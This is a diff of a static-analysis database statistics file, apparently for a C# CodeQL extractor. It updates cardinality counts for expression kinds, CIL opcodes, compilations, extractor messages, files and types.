@null_coalescing_expr -3674 +3682 @conditional_expr -9134 +9152 @simple_assign_expr -167083 +167416 @assign_add_expr @@ -677,7 +677,7 @@ @assign_sub_expr -1015 +1017 @assign_mul_expr @@ -693,7 +693,7 @@ @assign_and_expr -342 +343 @assign_xor_expr @@ -701,7 +701,7 @@ @assign_or_expr -1389 +1392 @assign_lshift_expr @@ -713,23 +713,23 @@ @object_init_expr -7680 +7695 @collection_init_expr -593 +594 @checked_expr -326 +327 @unchecked_expr -1418 +1421 @constructor_init_expr -5807 +5818 @add_event_expr @@ -745,7 +745,7 @@ @lambda_expr -48734 +48831 @anonymous_method_expr @@ -757,35 +757,35 @@ @dynamic_element_access_expr -330 +331 @dynamic_member_access_expr -6838 +6851 @pointer_indirection_expr -4049 +4058 @address_of_expr -1248 +1250 @sizeof_expr -1038 +1040 @await_expr -54711 +54820 @nameof_expr -15897 +15929 @interpolated_string_expr -3036 +3045 @unknown_expr @@ -793,7 +793,7 @@ @throw_expr -1539 +1542 @tuple_expr @@ -805,7 +805,7 @@ @ref_expr -562 +563 @discard_expr @@ -821,7 +821,7 @@ @switch_expr -517 +518 @recursive_pattern_expr @@ -837,15 +837,15 @@ @switch_case_expr -4341 +4350 @assign_coalesce_expr -542 +543 @suppress_nullable_warning_expr -14372 +14400 @namespace_access_expr @@ -877,19 +877,19 @@ @singlelinecomment -184285 +184653 @multilinecomment -22055 +22099 @xmldoccomment -203233 +203638 @commentblock -143959 +144246 @asp_close_tag @@ -929,7 +929,7 @@ @cil_nop -818334 +819968 @cil_break @@ -937,147 +937,147 @@ @cil_ldarg_0 -3966809 +3974727 @cil_ldarg_1 -1214082 +1216505 @cil_ldarg_2 -442936 +443820 @cil_ldarg_3 -208721 +209137 @cil_ldloc_0 -927287 +929138 @cil_ldloc_1 -492878 +493861 @cil_ldloc_2 -288108 +288683 @cil_ldloc_3 -191652 +192034 @cil_stloc_0 -523852 +524897 @cil_stloc_1 -259957 +260476 @cil_stloc_2 -197891 +198286 @cil_stloc_3 -138007 +138282 @cil_ldarg_s -263958 +264485 @cil_ldarga_s -74612 +74761 @cil_starg_s -37097 +37171 @cil_ldloc_s -684924 +686291 @cil_ldloca_s -627920 +629174 @cil_stloc_s -479834 +480791 @cil_ldnull -602451 +603653 @cil_ldc_i4_m1 -125936 +126187 @cil_ldc_i4_0 -624270 +625516 @cil_ldc_i4_1 -493617 +494603 @cil_ldc_i4_2 -120777 +121018 @cil_ldc_i4_3 -64017 +64144 @cil_ldc_i4_4 -58755 +58873 @cil_ldc_i4_5 -38601 +38678 @cil_ldc_i4_6 -23216 +23262 @cil_ldc_i4_7 -20709 +20750 @cil_ldc_i4_8 -33412 +33479 @cil_ldc_i4_s -422446 +423289 @cil_ldc_i4 -509781 +510799 @cil_ldc_i8 -4876 +4886 @cil_ldc_r4 -10240 +10260 @cil_ldc_r8 -10308 +10329 @cil_dup -840423 +842101 @cil_pop -255927 +256438 @cil_jmp @@ -1085,7 +1085,7 @@ @cil_call -2736062 +2741524 @cil_calli @@ -1093,95 +1093,95 @@ @cil_ret -1782925 +1786484 @cil_br_s -345136 +345825 @cil_brfalse_s -465047 +465976 @cil_brtrue_s -429858 +430716 @cil_beq_s -82098 +82262 @cil_bge_s -34858 +34927 @cil_bgt_s -16465 +16498 @cil_ble_s -29144 +29202 @cil_blt_s -60814 +60935 @cil_bne_un_s -102457 +102662 @cil_bge_un_s -2180 +2184 @cil_bgt_un_s -8717 +8734 @cil_ble_un_s -6108 +6120 @cil_blt_un_s -1465 +1467 @cil_br -95969 +96161 @cil_brfalse -32332 +32396 @cil_brtrue -27280 +27334 @cil_beq -21468 +21511 @cil_bge -1387 +1389 @cil_bgt -1460 +1463 @cil_ble -4633 +4642 @cil_blt -7918 +7934 @cil_bne_un -7222 +7237 @cil_bge_un @@ -1189,11 +1189,11 @@ @cil_bgt_un -691 +692 @cil_ble_un -1099 +1102 @cil_blt_un @@ -1201,7 +1201,7 @@ @cil_switch -23834 +23881 @cil_ldind_i1 @@ -1209,27 +1209,27 @@ @cil_ldind_u1 -5499 +5510 @cil_ldind_i2 -511 +512 @cil_ldind_u2 -2439 +2444 @cil_ldind_i4 -9758 +9778 @cil_ldind_u4 -1479 +1482 @cil_ldind_i8 -1966 +1970 @cil_ldind_i @@ -1237,59 +1237,59 @@ @cil_ldind_r4 -700 +702 @cil_ldind_r8 -262 +263 @cil_ldind_ref -6643 +6656 @cil_stind_ref -16903 +16937 @cil_stind_i1 -8507 +8524 @cil_stind_i2 -1373 +1376 @cil_stind_i4 -10342 +10363 @cil_stind_i8 -2341 +2345 @cil_stind_r4 -184 +185 @cil_stind_r8 -223 +224 @cil_add -223551 +223997 @cil_sub -85120 +85290 @cil_mul -29893 +29953 @cil_div -9106 +9124 @cil_div_un @@ -1297,79 +1297,79 @@ @cil_rem -3402 +3408 @cil_rem_un -228 +229 @cil_and -59223 +59341 @cil_or -22106 +22150 @cil_xor -22671 +22716 @cil_shl -18933 +18970 @cil_shr -9159 +9178 @cil_shr_un -26058 +26110 @cil_neg -2331 +2336 @cil_not -1455 +1458 @cil_conv_i1 -1382 +1385 @cil_conv_i2 -1445 +1448 @cil_conv_i4 -59665 +59785 @cil_conv_i8 -50194 +50294 @cil_conv_r4 -2462 +2467 @cil_conv_r8 -5271 +5281 @cil_conv_u4 -7816 +7832 @cil_conv_u8 -19507 +19546 @cil_callvirt -2046533 +2050618 @cil_cpobj @@ -1377,27 +1377,27 @@ @cil_ldobj -12630 +12655 @cil_ldstr -924994 +926841 @cil_newobj -655828 +657138 @cil_castclass -96884 +97078 @cil_isinst -56341 +56454 @cil_conv_r_un -262 +263 @cil_unbox @@ -1405,35 +1405,35 @@ @cil_throw -380506 +381265 @cil_ldfld -1673527 +1676868 @cil_ldflda -300135 +300734 @cil_stfld -1071066 +1073204 @cil_ldsfld -406569 +407381 @cil_ldsflda -2526 +2531 @cil_stsfld -130672 +130933 @cil_stobj -7008 +7022 @cil_conv_ovf_i1_un @@ -1477,19 +1477,19 @@ @cil_box -79689 +79848 @cil_newarr -111899 +112123 @cil_ldlen -55227 +55337 @cil_ldelema -9851 +9870 @cil_ldelem_i1 @@ -1497,27 +1497,27 @@ @cil_ldelem_u1 -15545 +15576 @cil_ldelem_i2 -428 +429 @cil_ldelem_u2 -6079 +6091 @cil_ldelem_i4 -17550 +17585 @cil_ldelem_u4 -19079 +19117 @cil_ldelem_i8 -11900 +11923 @cil_ldelem_i @@ -1529,11 +1529,11 @@ @cil_ldelem_r8 -457 +458 @cil_ldelem_ref -30643 +30704 @cil_stelem_i @@ -1541,19 +1541,19 @@ @cil_stelem_i1 -8775 +8792 @cil_stelem_i2 -8970 +8987 @cil_stelem_i4 -22782 +22828 @cil_stelem_i8 -9408 +9426 @cil_stelem_r4 @@ -1561,23 +1561,23 @@ @cil_stelem_r8 -476 +477 @cil_stelem_ref -362264 +362987 @cil_ldelem -2272 +2277 @cil_stelem -53518 +53625 @cil_unbox_any -14362 +14391 @cil_conv_ovf_i1 @@ -1585,11 +1585,11 @@ @cil_conv_ovf_u1 -111 +112 @cil_conv_ovf_i2 -77 +78 @cil_conv_ovf_u2 @@ -1601,7 +1601,7 @@ @cil_conv_ovf_u4 -77 +78 @cil_conv_ovf_i8 @@ -1625,23 +1625,23 @@ @cil_ldtoken -71181 +71323 @cil_conv_u2 -4331 +4340 @cil_conv_u1 -11238 +11260 @cil_conv_i -3655 +3662 @cil_conv_ovf_i -267 +268 @cil_conv_ovf_u @@ -1649,15 +1649,15 @@ @cil_add_ovf -1727 +1731 @cil_add_ovf_un -150 +151 @cil_mul_ovf -442 +443 @cil_mul_ovf_un @@ -1665,7 +1665,7 @@ @cil_sub_ovf -1109 +1111 @cil_sub_ovf_un @@ -1673,15 +1673,15 @@ @cil_endfinally -56794 +56907 @cil_leave -66737 +66871 @cil_leave_s -149065 +149362 @cil_stind_i @@ -1689,7 +1689,7 @@ @cil_conv_u -5797 +5809 @cil_arglist @@ -1697,31 +1697,31 @@ @cil_ceq -96787 +96980 @cil_cgt -11545 +11568 @cil_cgt_un -36639 +36712 @cil_clt -19484 +19523 @cil_clt_un -1311 +1314 @cil_ldftn -79781 +79940 @cil_ldvirtftn -1109 +1111 @cil_ldarg @@ -1749,11 +1749,11 @@ @cil_localloc -976 +978 @cil_endfilter -807 +809 @cil_unaligned @@ -1761,7 +1761,7 @@ @cil_volatile -8522 +8539 @cil_tail @@ -1769,11 +1769,11 @@ @cil_initobj -101586 +101789 @cil_constrained -25265 +25315 @cil_cpblk @@ -1785,11 +1785,11 @@ @cil_rethrow -3762 +3769 @cil_sizeof -1727 +1731 @cil_refanytype @@ -1801,80 +1801,80 @@ @cil_valueorreftype -594785 +595972 @cil_typeparameter -184619 +184987 @cil_array_type -14158 +14186 @cil_pointer_type -622 +624 @cil_method -2309946 +2314557 @cil_method_implementation -1724452 +1727894 @cil_field -1007580 +1009591 @cil_parameter -4542993 +4552061 @cil_property -379620 +380378 @cil_event -20826 +20867 @cil_local_variable -1149772 +1152067 @cil_catch_handler -43774 +43862 @cil_filter_handler -807 +809 @cil_finally_handler -55324 +55434 @cil_fault_handler -1469 +1472 @cil_attribute -328023 +328678 compilations -1095 +1097 id -1095 +1097 cwd -783 +785 @@ -1888,7 +1888,7 @@ 1 2 -1095 +1097 @@ -1904,12 +1904,12 @@ 1 2 -472 +473 2 3 -311 +312 @@ -1919,11 +1919,11 @@ compilation_args -4959 +4818 id -1095 +1097 num @@ -1931,7 +1931,7 @@ arg -1119 +1121 @@ -1945,12 +1945,12 @@ 4 5 -515 +668 5 6 -579 +429 @@ -1966,12 +1966,12 @@ 4 5 -515 +668 5 6 -579 +429 @@ -1985,8 +1985,8 @@ 12 -119 -120 +88 +89 4 @@ -2011,13 +2011,13 @@ 14 -107 -108 +88 +89 4 -119 -120 +138 +139 4 @@ -2034,10 +2034,10 @@ 1 2 -1095 +1097 -106 +88 226 24 @@ -2055,7 +2055,7 @@ 1 2 -1109 +1111 2 @@ -2070,19 +2070,19 @@ compilation_compiling_files -22568 +22613 id -1095 +1097 num -710 +712 file -22563 +22608 @@ -2288,7 +2288,7 @@ 11 12 -77 +78 12 @@ -2369,7 +2369,7 @@ 11 12 -77 +78 12 @@ -2420,7 +2420,7 @@ 1 2 -22559 +22604 2 @@ -2441,7 +2441,7 @@ 1 2 -22559 +22604 2 @@ -2456,19 +2456,19 @@ compilation_referencing_files -359003 +359719 id -1095 +1097 num -2740 +2745 file -3411 +3418 @@ -2542,7 +2542,7 @@ 369 564 -38 +39 @@ -2618,7 +2618,7 @@ 369 564 -38 +39 @@ -2644,7 +2644,7 @@ 7 8 -695 +697 8 @@ -2659,12 +2659,12 @@ 222 223 -637 +638 224 225 -710 +712 225 @@ -2685,62 +2685,62 @@ 1 4 -223 +219 4 -5 -4 - - -5 6 -608 +141 6 -18 -223 +7 +531 -18 -23 -223 +7 +21 +234 -23 -30 -219 +21 +28 +234 -30 -34 -219 +28 +33 +238 -34 -44 +33 +39 209 -44 -56 -233 +39 +51 +214 -56 +51 +61 +219 + + +61 63 -233 +165 63 -66 -223 +65 +195 -66 -70 -116 +65 +71 +141 @@ -2756,12 +2756,12 @@ 1 2 -525 +526 2 5 -257 +258 6 @@ -2781,12 +2781,12 @@ 10 23 -257 +258 23 122 -257 +258 124 @@ -2801,12 +2801,12 @@ 222 223 -481 +482 224 225 -715 +716 @@ -2822,62 +2822,62 @@ 1 2 -559 +560 2 5 -292 +277 5 6 -180 +336 6 -7 -311 +8 +268 -7 -11 -257 +8 +15 +277 -11 -19 -267 +15 +23 +307 -19 -24 -287 +23 +28 +273 -24 -29 -272 +28 +34 +263 -29 -58 -262 +35 +64 +268 -58 -63 -248 +64 +66 +263 -63 -65 -253 +66 +70 +292 -65 -74 -219 +70 +73 +29 @@ -2887,11 +2887,11 @@ compilation_time -7665 +7681 id -1095 +1097 num @@ -2903,7 +2903,7 @@ seconds -5494 +5730 @@ -2917,7 +2917,7 @@ 1 2 -1095 +1097 @@ -2933,7 +2933,7 @@ 7 8 -1095 +1097 @@ -2947,14 +2947,9 @@ 12 -6 -7 -4 - - 7 8 -1090 +1097 @@ -3000,8 +2995,8 @@ 12 -1129 -1130 +1175 +1176 4 @@ -3048,34 +3043,24 @@ 12 -151 -152 +163 +164 4 -165 -166 +174 +175 4 -178 -179 -4 - - -183 -184 -4 - - -224 -225 +181 +182 9 225 226 -4 +14 @@ -3091,22 +3076,22 @@ 1 2 -4356 +4545 2 3 -540 +668 3 5 -467 +477 5 7 -131 +39 @@ -3122,7 +3107,7 @@ 1 2 -5494 +5730 @@ -3138,17 +3123,17 @@ 1 2 -4604 +4886 2 3 -715 +731 3 5 -175 +112 @@ -4391,11 +4376,11 @@ extractor_messages -10135 +8300 id -10135 +8300 severity @@ -4407,19 +4392,19 @@ text -441 +12 entity -5762 +5343 location -7475 +6759 stack_trace -321 +299 @@ -4433,7 +4418,7 @@ 1 2 -10135 +8300 @@ -4449,7 +4434,7 @@ 1 2 -10135 +8300 @@ -4465,7 +4450,7 @@ 1 2 -10135 +8300 @@ -4481,7 +4466,7 @@ 1 2 -10135 +8300 @@ -4497,7 +4482,7 @@ 1 2 -10135 +8300 @@ -4513,7 +4498,7 @@ 1 2 -10135 +8300 @@ -4537,8 +4522,8 @@ 1 -10106 -10107 +8271 +8272 1 @@ -4574,8 +4559,8 @@ 2 -439 -440 +10 +11 1 @@ -4600,8 +4585,8 @@ 1 -5756 -5757 +5337 +5338 1 @@ -4626,8 +4611,8 @@ 1 -7463 -7464 +6747 +6748 1 @@ -4647,8 +4632,8 @@ 2 -320 -321 +298 +299 1 @@ -4663,8 +4648,8 @@ 12 -10135 -10136 +8300 +8301 1 @@ -4695,167 +4680,57 @@ 12 -441 -442 -1 - - - - - - -origin -entity - - -12 - - -5762 -5763 -1 - - - - - - -origin -location - - -12 - - -7475 -7476 -1 - - - - - - -origin -stack_trace - - -12 - - -321 -322 -1 - - - - - - -text -id - - -12 - - -1 -2 -30 - - -2 -3 -160 - - -3 -4 -203 - - -4 -11 -34 - - 12 -4452 -14 +13 +1 -text -severity - - -12 - - -1 -2 -441 - - - - - - -text -origin - - -12 - - -1 -2 -441 - - - - - - -text +origin entity 12 -1 -2 -432 - - -2 -3225 -9 +5343 +5344 +1 -text +origin location 12 -1 -2 -410 +6759 +6760 +1 + + + + + +origin +stack_trace + + +12 + -2 -4078 -31 +299 +300 +1 @@ -4863,32 +4738,6 @@ text -stack_trace - - -12 - - -1 -2 -202 - - -2 -3 -213 - - -3 -181 -26 - - - - - - -entity id @@ -4897,126 +4746,350 @@ 1 2 -4272 - - -2 -3 -957 - - -3 -7 -456 - - -7 -624 -77 - - - - - - -entity -severity - - -12 - - -1 -2 -5762 - - - - - - -entity -origin - - -12 - - -1 -2 -5762 - - - - - - -entity -text - - -12 - - -1 -2 -5753 - - -2 -3 -9 - - - - - - -entity -location - - -12 - - -1 -2 -5051 - - -2 -3 -495 - - -3 -249 -216 - - - - - - -entity -stack_trace - - -12 - - -1 -2 -5311 - - -2 -5 -442 +1 5 -17 +6 +1 + + +11 +12 +1 + + +24 +25 +1 + + +38 +39 +1 + + +87 +88 +1 + + +104 +105 +1 + + +216 +217 +1 + + +324 +325 +1 + + +626 +627 +1 + + +2413 +2414 +1 + + +4451 +4452 +1 + + + + + + +text +severity + + +12 + + +1 +2 +12 + + + + + + +text +origin + + +12 + + +1 +2 +12 + + + + + + +text +entity + + +12 + + +1 +2 +2 + + +2 +3 +1 + + +5 +6 +1 + + +11 +12 +1 + + +19 +20 +1 + + +47 +48 +1 + + +51 +52 +1 + + +69 +70 +1 + + +274 +275 +1 + + +1648 +1649 +1 + + +3224 +3225 +1 + + + + + + +text +location + + +12 + + +1 +2 +3 + + +11 +12 +1 + + +12 +13 +1 + + +19 +20 +1 + + +78 +79 +1 + + +104 +105 +1 + + +113 +114 +1 + + +324 +325 +1 + + +2019 +2020 +1 + + +4077 +4078 +1 + + + + + + +text +stack_trace + + +12 + + +1 +2 +4 + + +2 +3 +1 + + +4 +5 +2 + + +7 +8 +1 + + +10 +11 +1 + + +11 +12 +1 + + +74 +75 +1 + + +184 +185 +1 + + + + + + +entity +id + + +12 + + +1 +2 +4254 + + +2 +3 +797 + + +3 +384 +292 + + + + + + +entity +severity + + +12 + + +1 +2 +5343 + + + + + + +entity +origin + + +12 + + +1 +2 +5343 + + + + + + +entity +text + + +12 + + +1 +2 +5334 + + +2 +3 9 @@ -5024,6 +5097,53 @@ +entity +location + + +12 + + +1 +2 +4655 + + +2 +3 +480 + + +3 +67 +208 + + + + + + +entity +stack_trace + + +12 + + +1 +2 +5164 + + +2 +8 +179 + + + + + + location id @@ -5033,17 +5153,17 @@ 1 2 -5886 +5847 2 3 -1265 +911 -3 +631 632 -324 +1 @@ -5059,7 +5179,7 @@ 1 2 -7474 +6758 2 @@ -5080,7 +5200,7 @@ 1 2 -7475 +6759 @@ -5096,7 +5216,7 @@ 1 2 -7474 +6758 2 @@ -5117,7 +5237,7 @@ 1 2 -7474 +6758 3 @@ -5138,12 +5258,12 @@ 1 2 -6929 +6627 2 9 -546 +132 @@ -5159,52 +5279,52 @@ 1 2 -88 +90 2 3 -45 +38 3 4 -22 +19 4 -6 -24 +5 +17 -6 -8 +5 +7 23 -8 -13 +7 +11 26 -13 -26 +11 +21 25 -26 -54 -25 +21 +43 +23 -54 -166 -25 +51 +116 +23 -172 -632 -18 +120 +737 +15 @@ -5220,7 +5340,7 @@ 1 2 -320 +298 2 @@ -5241,7 +5361,7 @@ 1 2 -321 +299 @@ -5257,12 +5377,12 @@ 1 2 -303 +298 2 -166 -18 +3 +1 @@ -5278,47 +5398,47 @@ 1 2 -110 +109 2 3 -42 +37 3 4 -27 - - -4 -6 23 -6 -9 -29 +4 +5 +17 -9 -16 -25 +5 +7 +24 -16 -35 -26 +7 +11 +24 -35 -104 -25 +11 +22 +24 -109 -497 -14 +22 +68 +23 + + +72 +590 +18 @@ -5334,52 +5454,52 @@ 1 2 -104 +103 2 3 -41 +36 3 4 -24 - - -4 -6 -22 - - -6 -8 23 -8 -14 -28 +4 +5 +16 -14 -29 -25 +5 +7 +20 -29 -70 -25 +7 +11 +23 -70 -325 -25 +11 +20 +23 -343 -632 -4 +20 +51 +23 + + +51 +148 +23 + + +219 +737 +9 @@ -5389,19 +5509,19 @@
    compilation_finished -1095 +1097 id -1095 +1097 cpu_seconds -939 +936 elapsed_seconds -1095 +1097 @@ -5415,7 +5535,7 @@ 1 2 -1095 +1097 @@ -5431,7 +5551,7 @@ 1 2 -1095 +1097 @@ -5447,12 +5567,12 @@ 1 2 -803 +794 2 3 -121 +126 3 @@ -5473,12 +5593,12 @@ 1 2 -803 +794 2 3 -121 +126 3 @@ -5499,7 +5619,7 @@ 1 2 -1095 +1097 @@ -5515,7 +5635,7 @@ 1 2 -1095 +1097 @@ -6177,19 +6297,19 @@ duplicateCode -22719 +22765 id -22719 +22765 relativePath -3801 +3808 equivClass -7003 +7017 @@ -6203,7 +6323,7 @@ 1 2 -22719 +22765 @@ -6219,7 +6339,7 @@ 1 2 -22719 +22765 @@ -6235,17 +6355,17 @@ 1 2 -1061 +1063 2 3 -564 +565 3 4 -423 +424 4 @@ -6260,7 +6380,7 @@ 6 8 -335 +336 8 @@ -6296,27 +6416,27 @@ 1 2 -1129 +1131 2 3 -520 +521 3 4 -442 +443 4 5 -233 +234 5 6 -228 +229 6 @@ -6331,7 +6451,7 @@ 10 14 -311 +312 14 @@ -6341,7 +6461,7 @@ 33 45 -38 +39 @@ -6357,27 +6477,27 @@ 2 3 -3762 +3769 3 4 -1143 +1146 4 5 -783 +785 5 6 -428 +429 6 8 -569 +570 8 @@ -6398,32 +6518,32 @@ 1 2 -676 +677 2 3 -3436 +3443 3 4 -1075 +1077 4 5 -676 +677 5 6 -384 +385 6 9 -579 +580 9 @@ -8506,11 +8626,11 @@ locations_default -14069206 +14071874 id -14069206 +14071874 file @@ -8544,7 +8664,7 @@ 1 2 -14069206 +14071874 @@ -8560,7 +8680,7 @@ 1 2 -14069206 +14071874 @@ -8576,7 +8696,7 @@ 1 2 -14069206 +14071874 @@ -8592,7 +8712,7 @@ 1 2 -14069206 +14071874 @@ -8608,7 +8728,7 @@ 1 2 -14069206 +14071874 @@ -8624,67 +8744,67 @@ 1 19 -491 +483 19 34 -470 +472 34 50 -494 +491 50 74 -471 +470 74 106 -470 +472 106 150 -476 +478 150 -209 -469 - - -209 -297 +208 471 +208 +297 +472 + + 297 -447 +446 +469 + + +446 +693 +469 + + +693 +1208 468 -447 -694 +1209 +2677 468 -694 -1207 -468 - - -1207 -2692 -468 - - -2693 +2691 42820 -487 +488 43087 @@ -8704,73 +8824,68 @@ 1 -11 -460 +12 +576 -11 -17 -485 +12 +19 +507 -17 -24 -496 +19 +27 +519 -24 -32 -490 +27 +35 +477 -32 -42 -495 +35 +46 +514 -42 -55 -475 +46 +62 +498 -55 -74 -495 +62 +82 +478 -74 -101 -474 +82 +114 +470 -101 -144 +114 +168 471 -144 -227 -469 - - -227 -408 -469 - - -408 -905 +168 +273 468 -908 -30336 -481 +273 +504 +479 -47451 +504 +1747 +469 + + +1749 143014 -3 +305 @@ -8791,52 +8906,52 @@ 7 13 -509 +499 13 19 -488 +491 19 26 -478 +481 26 34 -523 +516 34 43 -495 +500 43 53 -481 +484 53 64 -477 +479 64 76 -481 +479 76 91 -473 +474 91 112 -474 +476 112 @@ -8862,7 +8977,7 @@ 1 12 -516 +515 12 @@ -8877,52 +8992,57 @@ 25 34 -493 +492 34 -45 -537 +44 +468 -45 -59 -486 +44 +56 +477 -59 -80 -478 +56 +76 +468 -80 -110 +76 +104 470 -110 -157 +104 +146 471 -157 -256 -470 +146 +231 +469 -256 -468 +231 +411 +469 + + +411 +884 468 -468 -1222 -468 +888 +46288 +508 -1222 +55259 171760 -421 +3 @@ -8938,12 +9058,12 @@ 1 15 -497 +487 15 23 -474 +477 23 @@ -8953,27 +9073,27 @@ 32 43 -507 +509 43 54 -530 +529 54 66 -484 +488 66 77 -472 +469 77 91 -476 +480 91 @@ -8983,17 +9103,17 @@ 105 123 -485 +482 123 148 -468 +470 148 186 -469 +471 186 @@ -9068,7 +9188,7 @@ 301 -10739 +10783 9050 @@ -9212,12 +9332,12 @@ 4 6 -13946 +13945 6 35 -12404 +12405 35 @@ -9348,17 +9468,17 @@ 490 -5411 +5416 110 -5446 -74932 +5448 +74973 110 -76023 -2221113 +76216 +2221250 24 @@ -9404,21 +9524,21 @@ 58 -193 +194 110 195 -1096 +1098 110 -1109 -3845 +1112 +3851 110 -3880 +3881 6230 8 @@ -9649,12 +9769,12 @@ 9 51 -14737 +14736 51 64 -13404 +13405 64 @@ -9664,7 +9784,7 @@ 109 170 -13424 +13423 170 @@ -9673,8 +9793,8 @@ 277 -10644 -9488 +10669 +9489 @@ -9948,16 +10068,16 @@ 1126 -9597 +9599 124 -9615 -82613 +9617 +82628 124 -82670 +82672 908062 42 @@ -10013,8 +10133,8 @@ 124 -715 -3686 +716 +3687 124 @@ -10223,11 +10343,11 @@ numlines -4585449 +4585682 element_id -4585442 +4585675 num_lines @@ -10253,7 +10373,7 @@ 1 2 -4585435 +4585668 2 @@ -10274,7 +10394,7 @@ 1 2 -4585435 +4585668 2 @@ -10295,7 +10415,7 @@ 1 2 -4585438 +4585671 2 @@ -10483,7 +10603,7 @@ 52 -1614447 +1614483 83 @@ -10621,7 +10741,7 @@ 215 -4548962 +4549193 19 @@ -10724,27 +10844,27 @@ assemblies -4195 +4203 id -4195 +4203 file -4195 +4203 fullname -3436 +3443 name -3168 +3174 version -369 +370 @@ -10758,7 +10878,7 @@ 1 2 -4195 +4203 @@ -10774,7 +10894,7 @@ 1 2 -4195 +4203 @@ -10790,7 +10910,7 @@ 1 2 -4195 +4203 @@ -10806,7 +10926,7 @@ 1 2 -4195 +4203 @@ -10822,7 +10942,7 @@ 1 2 -4195 +4203 @@ -10838,7 +10958,7 @@ 1 2 -4195 +4203 @@ -10854,7 +10974,7 @@ 1 2 -4195 +4203 @@ -10870,7 +10990,7 @@ 1 2 -4195 +4203 @@ -10886,12 +11006,12 @@ 1 2 -2676 +2682 2 3 -759 +760 @@ -10907,12 +11027,12 @@ 1 2 -2676 +2682 2 3 -759 +760 @@ -10928,7 +11048,7 @@ 1 2 -3436 +3443 @@ -10944,7 +11064,7 @@ 1 2 -3436 +3443 @@ -10960,12 +11080,12 @@ 1 2 -2185 +2189 2 3 -939 +941 3 @@ -10986,12 +11106,12 @@ 1 2 -2185 +2189 2 3 -939 +941 3 @@ -11012,12 +11132,12 @@ 1 2 -2944 +2950 2 4 -223 +224 @@ -11033,12 +11153,12 @@ 1 2 -2944 +2950 2 4 -223 +224 @@ -11212,23 +11332,23 @@ files -42436 +42521 id -42436 +42521 name -42436 +42521 simple -22919 +22964 ext -38 +39 fromSource @@ -11246,7 +11366,7 @@ 1 2 -42436 +42521 @@ -11262,7 +11382,7 @@ 1 2 -42436 +42521 @@ -11278,7 +11398,7 @@ 1 2 -42436 +42521 @@ -11294,7 +11414,7 @@ 1 2 -42436 +42521 @@ -11310,7 +11430,7 @@ 1 2 -42436 +42521 @@ -11326,7 +11446,7 @@ 1 2 -42436 +42521 @@ -11342,7 +11462,7 @@ 1 2 -42436 +42521 @@ -11358,7 +11478,7 @@ 1 2 -42436 +42521 @@ -11374,12 +11494,12 @@ 1 2 -21512 +21555 2 154 -1406 +1409 @@ -11395,12 +11515,12 @@ 1 2 -21512 +21555 2 154 -1406 +1409 @@ -11416,12 +11536,12 @@ 1 2 -22130 +22174 2 5 -788 +790 @@ -11437,7 +11557,7 @@ 1 2 -22919 +22964 @@ -11601,7 +11721,7 @@ 1 2 -38 +39 @@ -11675,19 +11795,19 @@ folders -16918 +16951 id -16918 +16951 name -14703 +14732 simple -2769 +2774 @@ -11701,7 +11821,7 @@ 1 2 -16918 +16951 @@ -11717,7 +11837,7 @@ 1 2 -16918 +16951 @@ -11733,7 +11853,7 @@ 1 2 -14703 +14732 @@ -11749,12 +11869,12 @@ 1 2 -12489 +12513 2 3 -2214 +2218 @@ -11770,12 +11890,12 @@ 1 2 -1815 +1819 2 3 -379 +380 3 @@ -11806,12 +11926,12 @@ 1 2 -1815 +1819 2 3 -379 +380 3 @@ -11836,15 +11956,15 @@ containerparent -57130 +57244 parent -14703 +14732 child -57130 +57244 @@ -11858,37 +11978,37 @@ 1 2 -8244 +8261 2 3 -1932 +1936 3 4 -769 +770 4 5 -968 +970 5 9 -1104 +1107 9 18 -1138 +1141 18 171 -545 +546 @@ -11904,7 +12024,7 @@ 1 2 -57130 +57244 @@ -11914,11 +12034,11 @@ file_extraction_mode -26759 +26812 file -26759 +26812 mode @@ -11936,7 +12056,7 @@ 1 2 -26759 +26812 @@ -11962,15 +12082,15 @@ namespaces -21926 +21970 id -21926 +21970 name -4886 +4896 @@ -11984,7 +12104,7 @@ 1 2 -21926 +21970 @@ -12005,7 +12125,7 @@ 2 3 -3489 +3496 3 @@ -12015,17 +12135,17 @@ 4 5 -622 +624 6 10 -369 +370 10 101 -369 +370 110 @@ -12040,15 +12160,15 @@ namespace_declarations -19745 +19785 id -19745 +19785 namespace_id -3883 +3891 @@ -12062,7 +12182,7 @@ 1 2 -19745 +19785 @@ -12078,42 +12198,42 @@ 1 2 -1396 +1399 2 3 -798 +799 3 4 -413 +414 4 5 -306 +307 5 6 -223 +224 6 9 -330 +331 9 17 -301 +302 17 996 -111 +112 @@ -12123,15 +12243,15 @@ namespace_declaration_location -19745 +19785 id -19745 +19785 loc -19745 +19785 @@ -12145,7 +12265,7 @@ 1 2 -19745 +19785 @@ -12161,7 +12281,7 @@ 1 2 -19745 +19785 @@ -12171,15 +12291,15 @@ parent_namespace -776504 +778054 child_id -776504 +778054 namespace_id -13545 +13572 @@ -12193,7 +12313,7 @@ 1 2 -776504 +778054 @@ -12209,52 +12329,52 @@ 1 2 -3324 +3330 2 3 -1625 +1628 3 4 -1026 +1029 4 5 -915 +916 5 7 -1250 +1253 7 10 -1090 +1092 10 15 -1138 +1141 15 23 -1061 +1063 23 51 -1026 +1029 51 835 -1017 +1019 900 @@ -12269,15 +12389,15 @@ parent_namespace_declaration -88240 +88416 child_id -87724 +87899 namespace_id -19745 +19785 @@ -12291,12 +12411,12 @@ 1 2 -87573 +87748 2 60 -150 +151 @@ -12312,27 +12432,27 @@ 1 2 -13769 +13796 2 9 -1713 +1716 9 13 -1275 +1277 13 16 -1426 +1428 16 32 -1508 +1511 32 @@ -12347,15 +12467,15 @@ using_namespace_directives -144149 +144437 id -144149 +144437 namespace_id -4224 +4233 @@ -12369,7 +12489,7 @@ 1 2 -144149 +144437 @@ -12385,17 +12505,17 @@ 1 2 -1494 +1497 2 3 -472 +473 3 4 -296 +297 4 @@ -12410,7 +12530,7 @@ 8 14 -335 +336 14 @@ -12528,15 +12648,15 @@ using_directive_location -144207 +144495 id -144207 +144495 loc -144163 +144451 @@ -12550,7 +12670,7 @@ 1 2 -144207 +144495 @@ -12566,7 +12686,7 @@ 1 2 -144120 +144407 2 @@ -12581,11 +12701,11 @@ types -866545 +868275 id -866545 +868275 kind @@ -12593,7 +12713,7 @@ name -366595 +367327 @@ -12607,7 +12727,7 @@ 1 2 -866545 +868275 @@ -12623,7 +12743,7 @@ 1 2 -866545 +868275 @@ -12721,17 +12841,17 @@ 1 2 -324378 +325026 2 5 -28818 +28875 5 6356 -13399 +13425 @@ -12747,12 +12867,12 @@ 1 2 -365160 +365888 2 4 -1435 +1438 @@ -12762,15 +12882,15 @@ typerefs -234624 +235092 id -234624 +235092 name -176856 +177209 @@ -12784,7 +12904,7 @@ 1 2 -234624 +235092 